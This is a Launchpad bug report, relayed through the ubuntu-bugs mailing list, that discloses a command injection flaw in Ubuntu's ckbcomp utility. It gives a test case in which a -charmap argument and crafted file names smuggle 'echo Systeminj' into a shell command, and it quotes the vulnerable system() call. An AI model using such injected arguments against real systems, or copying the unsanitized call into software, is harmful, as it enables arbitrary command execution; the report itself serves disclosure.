Public bug reported: Binary package hint: console-setup
/usr/bin/ckbcomp have command injection bug . test case : root@emanuel-desktop:/tmp# touch "/etc/console-setup/compose.a;echo Systeminj;#.inc" "/usr/share/consoletrans/a;echo Systeminj;#.acm" "/tmp/CKB" root@emanuel-desktop:/tmp# /usr/bin/ckbcomp "/tmp/CKB" -symbols "/tmp/CKB" -charmap "a;echo Systeminj;#" WARNING: Can not find "" in "/tmp/CKB". keymaps 0-127 strings as usual cat: /etc/console-setup/compose.a: No such file or directory Systeminj the bug can be found at : if ($charmap && -f "/etc/console-setup/compose.${charmap}.inc") { system("cat /etc/console-setup/compose.${charmap}.inc"); } ** Affects: console-setup (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/782705 Title: command injection in ckbcomp -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs